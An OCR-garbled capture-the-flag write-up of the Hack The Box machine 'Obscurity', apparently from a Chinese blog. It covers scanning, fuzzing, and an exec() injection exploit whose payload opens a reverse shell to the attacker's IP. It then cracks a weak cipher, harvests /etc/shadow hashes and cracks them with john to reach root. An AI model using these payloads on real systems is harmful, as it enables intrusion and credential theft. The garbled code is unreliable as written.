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# Nmap 7.80 scan initiated Wed Jan 15 14:08:44 2020 as: nmap -sVTC -o scan 10.10.10.168
Nmap scan report for obsecurity.htb (10.10.10.168)
Host is up (©.28s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

8080/tcp open  http-proxy BadHTTPServer

| fingerprint-strings:

|  GetRequest:

| HTTP/1.1 200 OK

| Date: Wed, 15 Jan 2020 06:10:46

| Server: BadHTTPServer

| Last-Modified: Wed, 15 Jan 2020 06:10:46

| Content-Length: 4171

| Content-Type: text/html

| Connection: Closed

| _http-server-header: BadHTTPServer

| _http-title: @bscura

9000/tcp closed cslistener

1 service unrecognized despite returning data. If you know the service/version, please submit the following fing
erprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
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Development

Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory

TR E S H 344 SuperSecureServer.py U4, PR 75 B 56 R HY H 5% .
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wfuzz -c -z file,medium.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py



¥ develop H 3%

42 3 descarregues
000000443 : 184 Ch "desenvolupament"”
000000444 : 176 Ch "desiree"

000000445 : 178 Ch "desperate”

000000446 : 172 Ch "dev"

000000447 : 174 Ch "devel"

000000448 : 5892 Ch "develop"

181 Ch "developement”

179 Ch "developers"

177 Ch "descarga"

180 Ch "development™

175 Ch "device"

173 Ch Elﬁl e PPyt
174 Ch ”_THHgHMQLhdmnuw 3iXin_

000000449:
000000450
000000440:
000000451 :
000000452 :
000000453
000000454 :
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wget N i py A

wget http://obscurity.htb:8080/develop/SuperSecureServer.py
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import socket

import threading

from datetime import datetime
import sys

import os

import mimetypes

import urllib.parse

import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}

Server: {server}

Last-Modified: {modified}

Content-Length: {length}

Content-Type: {contentType}

Connection: {connectionType}
{body}

DOC_ROOT = "DocRoot"

CODES = {"200": "OK"
"304": "NOT MODIFIED"
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND"
"500": "INTERNAL SERVER ERROR"
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg"
"ttf":"application/octet-stream","otf":"application/octet-stream”", "woff":"font/woff", "woff2": "font/wo
ff2"
"js":"application/javascript"”,"gz":"application/zip", "py":"text/plain”, "map": "application/octet-strea
m"

class Response
def init_ (self, **kwargs
self. dict__.update(kwargs
now = datetime.now
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S"



def stringResponse(self
return respTemplate.format(**self. dict

class Request
def init_ (self, request
self.good = True
try
request = self.parseRequest(request
self.method = request|"method"
self.doc = request|[“doc"
self.vers = request|“vers"
self.header = request|"header"
self.body = request|"body"
except
False

self.good

def parseRequest(self, request
req = request.strip("\r").split("\n"
method,doc,vers = req[0].split(" "
header = req[1:-3
body = req[-1
headerDict =
for param in header
pos = param.find(": "
key, val = param| :pos param| pos+2
headerDict.update({key: val

return {"method": method, "doc": doc, "vers": vers, "header"

class Server
def _ init_ (self, host, port
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1
self.sock.bind((self.host, self.port

def listen(self
self.sock.listen(5
while True
client, address = self.sock.accept
client.settimeout (60

headerDict

threading.Thread(target = self.listenToClient,args = (client,address

def listenToClient(self, client, address
size = 1024
while True

try
data = client.recv(size
if data
# Set the response to echo back the recieved data
req = Request(data.decode #IERY
self.handleRequest(req, client, address
client.shutdown
client.close
else
raise error('Client disconnected’
except

client.close

"body"

start

body



def

def

return False

handleRequest(self, request, conn, address):
if request.good:
try:
# print(str(request.method) + " " + str(request.doc), end=" ")
# print("from {0}".format(address[0]))
except Exception as e:
print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document|[ “status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"

body = document| “body"]

statusCode=CODES|[ statusNum]
dateSent = ""

server = "BadHTTPServer"
modified = ""

length = len(body)

contentType = document["mime"] # Try and identify MIME type from string

connectionType = "Closed"

resp = Response(

statusNum=statusNum, statusCode=statusCode,

dateSent = dateSent, server = server,

modified = modified, length = length,

contentType = contentType, connectionType = connectionType,
body = body

)

data = resp.stringResponse()
if not data:

return -1
conn.send(data.encode())
return 0

serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for Later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file_ ))
docRoot = os.path.join(cwd, docRoot)
if path == "/"
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[@©] != None else "text/html")

mime = MIMES|requested.split(".")[-1]]

try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"



else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
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Fyitexp.py

import requests
import urllib
import os

url = 'http://10.10.10.168:8080/"

path="5\""+"\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.X
X.XXX",9999));0s.dup2(s.fileno(),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","
i"])\na=\""

payload = urllib.parse.quote(path)
print("payload")
print(url+payload)

r= requests.get(url+payload)
print(r.headers)
print(r.text)
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:obsecurity# nc -lvnp 9999
listening on [any] 9999 ..
connect to [10.10.14.199] from (UNKNOWN) [10.10.10.168] 51146
‘www-data@obscure: /s 1s

cdrom

dev

etc

home
initrd.img
initrd.img.old
lib

1ib64
lost+found
media

mnt

opt
proc
‘root hitps://blog.csdn.net/

HEN/home H 3%, KPR —Arobertf] 30432, i3t Arobert®x & F J S0 F:

www-data@obscure:/home/roberts 1ls -al

1s -al

total 64

drwxr-xr-x robert robert 4096 Feb

drwxr-xr-x root root 4096 Sep

LrwxXrwx rwx robert robhert 9 Sep

-rwW-r--r-- robert robert 220 Apr

-rwW-r--r-- robert robert 3771 Apr

drwxr-xr-x root root 4096 Dec
robert robert 4096 Oct

RS S]

.bash_history -> /dev/null
.bash logout
.bashrc
BetterSSH
.cache
check.txt
.config

16 getfile.sh
.gnupg
.local
out.txt
passwordreminder.txt
.profile
SuperSecureCrypt.py
user.txﬁ

]

-rW-Trw-r-- robert robert 94 Sep
drwxr-x--- robert robert 4096 Dec
-rwW-rw-r-- robert robert 200 Feb

robert robert 4096 Oct
drwxrwxr-x 3 robert robert 4096 Oct
-rw-rw-r-- 1 robert robert 185 Oct
-rw-rw-r-- 1 robert robert 27 0Oct
-rw-r--r-- 1 robert robert 807 Apr
-rwxrwxr-x 1 robert robert 2514 Oct
1 robert robert 33 Sep
www-data@obscure:/home/roberts |

]

ittps://blog.csdn.netfweixin_4

234347, BetterSSHH SN iZ 2 iU SSHE %, LA, &FHA
check.ixt

www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct

out.txt



www-data@obscure: /home/robert$ hd out.txt

hd out.txt

0000PPPO c2 a6 c3 9a c3 88 c3 aa €3 9a c3 9e c3 98 c3 9b
00000010 c3 9d c3 9d c2 89 c3 97 3 90 c3 8a c3 9f c2 85
00000020 c3 9e c3 8a c3 9a ¢c3 89 2 92 c3 a6 c3 9f ¢3 9d
00000030 c3 8b c2 88 c3 9a c3 9b 3 9a c3 aa c2 81 c3 99
00000040 3 89 c3 ab c2 8f c3 a9 3 91 c3 92 ¢3 9d c3 8d
000050 3 90 c2 85 c3 aa ¢c3 86 3 al c3 99 c3 9e c3 a3
00000060 2 96 c3 92 c3 91 c2 88 3 90 c3 al c3 99 c2 a6
00000070 3 95 c3 a6 c3 98 c2 9e c2 8f c3 a3 c3 8a c3 8e
00000080 3 8d c2 81 c3 9f c3 9a 3 aa c3 86 c2 8e ¢3 9d
00000090 3 al c3 a4 c3 a8 c2 89 3 8e c3 8d c3 9a c2 8c¢
00000Pa® c3 8e c3 ab c2 81 ¢c3 91 3 93 c3 a4 c3 al c3 9
000000bO 3 8c c3 97 c2 89 c2 81 76

000000b9

\

passwordreminder.txt

www-data@obscure: /home/robert$ hd passwordreminder.txt

hd passwordreminder.txt

00000000 2 b4 c3 91 c3 88 c3 8c 3 89 c3 a@ ¢3 99 c3 81 |

00000010 c3 91 c3 a9 c2 af c2 b7 c2 bf 6b | k|
0000001b

SuperSecureCrypt.py

import sys
import argparse

def encrypt(text, key
keylen = len(key
keyPos = 0
encrypted = ""

for x in text
keyChr
newChr = ord(x
newChr = chr((newChr + ord(keyChr)) % 255

encrypted += newChr

key|[ keyPos

keyPos += 1
keyPos = keyPos % keylen
return encrypted

def decrypt(text, key
keylen = len(key
keyPos = 0
decrypted = ""

for x in text
keyChr = key|[keyPos
newChr = ord(x
newChr = chr((newChr - ord(keyChr)) % 255
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen

return decrypted

parser = argparse.ArgumentParser(description="Encrypt with @bscura\'s encryption algorithm’



pdarser.auu_drgumency -1,
metavar='InFile"',
type=str,
help="The file to read',
required=False)

parser.add_argument('-o",
metavar='0OutFile"’,
type=str,
help="Where to output the encrypted/decrypted file',
required=False)

parser.add_argument('-k',
metavar="'Key',
type=str,
help='Key to use’,
required=False)

parser.add_argument('-d', action='store_ true', help='Decrypt mode")
args = parser.parse_args()

banner = "ttt \ 0"

banner+= "# BEGINNING #\n"

banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "##tHHHHEHEHHHEEEEEHHEEEEHEEEEE N "

banner += " fitdtttdd i HHHHH \ 0"

banner += " # FILE MODE #\n"

banner += " ittt
print(banner)

if args.o == None or args.k == None or args.i == None:

print("Missing args")

else:
if args.d:
print("Opening file {@}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8") as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {@}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:

print("Opening file {@}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()

print("Encrypting...")
encrypted = encrypt(data, args.k)

print("Writing to {@}...".format(args.o))

with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)

ZPY S FHRIEAT IR 1) it check tet S5 SCEFITE SCHEM, {5 FHkeyXfcheck.txtl 5 #53 Flout.txt, passswordreminder.txtt?
SRR E S R B Hkey.
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def encrypt(text, key

keylen = len(key

keyPos = 0@

encrypted = ""

for x in text
keyChr = key|[keyPos
newChr = ord(x
newChr = chr((newChr + ord(keyChr)) % 255
encrypted += newChr
keyPos += 1
keyPos = keyPos 7% keylen

return encrypted

ik SHibSE
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import string

with open('check.txt','r',encoding="UTF-8"') as f
ta = f.read

key=""
with open('out.txt','r',encoding="UTF-8"') as f
data = f.read
for x in range(len(data
for i in range(255
ch = chr((ord(data[x])-i)%255
if ch == ta[x
key +=chr(i
break
print(key

BATER

:obsecurity# py3 crack.py

:obsecurity# |

i, AR R IRER fkey, FIILRCL AT .



www-data@obscure:/home/robert$ python3 SuperSecureCrypt.py -i out.txt -o /tmp/check.txt -k al
vich -d SuperSecureCrypt.py -i out.txt -o /tmp/check.txt -k ale
################################
BEGINNING

# SUPER SECURE ENCRYPTOR #
S

AR

# FILE MODE #

L

Openlng flle out txt

Decrypting.

Writing to /tmp/check.txt...

www-data@obscure:/home/robert$ cat /tmp/check.txt

cat /tmp/check.txt

E&;rzgiéggbgEﬁiefihﬁmgitgbgﬁi; Tgy should result_ in out.txt, make sure your_key is Corqwp%%bmgcsdnﬂeﬁweanA3826280

.

23R f# F 1ZkeylE ArobertZ 153t 1Tssh

i FH % key4k 45 fi# % passwordreminder.txt 2 1,

www-data@obscure: /home/robert$ python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/check -k al
alexandrovich -dureCrypt.py -1 passwordreminder.txt -o /tmp/check -k a
bbb G G S R S S
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
fididdassssdiddssssssiissicicsd
# FILE MODE #

AL B A B L B L

Opening file passwordreminder.txt...
Decrypting...

Writing to /tmp/check...
www-data@obscure:/home/robert$ cat /tmp/check

cat /tm check
SecT/ p/ . https:/fblog.csdn.netweixin_43826280

2, E3user flag.

:obsecurity# ssh robert@obscurity.htb
robert@obscurity.htb's password:
Permission denied, please try again.
robert@obscurity.htb's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management : https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue Feb 4 08:45:43 UTC 2020

System load: 0.0 Processes: 127

Usage of /: 45.9% of 9.78GB Users logged in: 1

Memory usage: 11% IP address for ensl60: 10.10.10.168
Swap usage: 0%

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

40 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your Internet connection or proxy settings

Last login: Tue Feb 4 ©7:14:54 2020 from 10.10.14.24

robert@obscure:~% 1s

BetterSSH check.txt out.txt passwordreminder.txt SuperSecureCrypt.py user.txt

robert@obscure: ﬁs cat user. txt

e4493 7 e == y ) . .
robert@obscure:~$ [ https:/blog.csdn.netiweixin_43826280
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robert@obscure:~$% sudo -1

Matching Defaults entries for robert on obscure:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

/home/robert/BetterSSH/BetterSSH.py L {4 4 21 T :

import sys

import random, string
import os

import time

import crypt

import traceback
import subprocess

path = '"'.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:

session[ 'user'] = input("Enter username: ")
passW = input("Enter password: ")

with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = ||
for x in data:
if not x == None:
passwords.append(x)

passwordFile = ‘\n'.join(['\n'.join(p) for p in passwords])

with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)

time.sleep(.1)

salt = ""

realPass =

for p in passwords:

if p[@] == session| ‘user']:
salt, realPass = p[1].split('$")[2:]
break
if salt == "":

print("Invalid user")
os.remove("'/tmp/SSH/ '+path)
sys.exit(@)

salt = '$6%"'+salt+'$"’

realPass = salt + realPass

hash = crypt.crypt(passW, salt)

if hash == realPass:
print("Authed!")
session[ 'authenticated'] =1
else:

nrint/"Tnrarrart nacc")
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os.remove( ' /tmp/SSH/ ' +path)
sys.exit(0)
os.remove(os.path.join("'/tmp/SSH/ ", path))
except Exception as e:
traceback.print_exc()
sys.exit(@)

if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session|'user']]
cmd . extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

0,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > @ else print('")

2O B R A ssh, il i B AUetc/shadow SCAFIF i BCHE FL rp oA RO AT 2 AR, 22 ) 55 FE P SN 3EAT B, — S0MHA
EAED o

SR, IIRLE T, SRR B U etc/shadow SR e Rk AR AT BT R A AEAmP/SSHIH 35 T, IX A AT DU R JAIA SR I ) 3 1 15
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robert@obscure:~$ cat /tmp/f5kELY4B
root
$6$riekpKdmsuBdaAyKOjOWTMzvcSKYVTYEHGtBfnfpiVbYbzbVmfbneEboOwSijW1GQussvISKk8X1M56kzgGj8fan i

robert
$6$TZZcDGT7g$1f035GcjUmNs3PS]j rogNGZjH35gN4KjhHbQxvWOOXU . TCIHgavst7Lj8wLF/x021jYW5nD66alsvas i
18163

¥ Z i hashifl 73 fR A7 pwd.ixt, {8 FH john/Z

:obsecurity# vim pwd.txt
:obsecurity# john pwd.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha5l12crypt, crypt(3) $6% [SHA512 128/128 AVX 2x])
Remaining 2 password hashes with 2 different salts
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
r : (7)
Proceeding with incremental:ASCII
lg 6:00:01:13 3/3 0.01356g/s 2304p/s 2315c/s 2315C/s abby92..abiron
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

J%3h15 B root 15
T4 iiroot & 1y

robert@obscure:~$ sudo -u root fusr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root

Enter password: m

Authed!

root@0bscure$ cat /root/root.txt

OQutput: 512fcd

root@0bscure$

B 3h 5 Froot flag .
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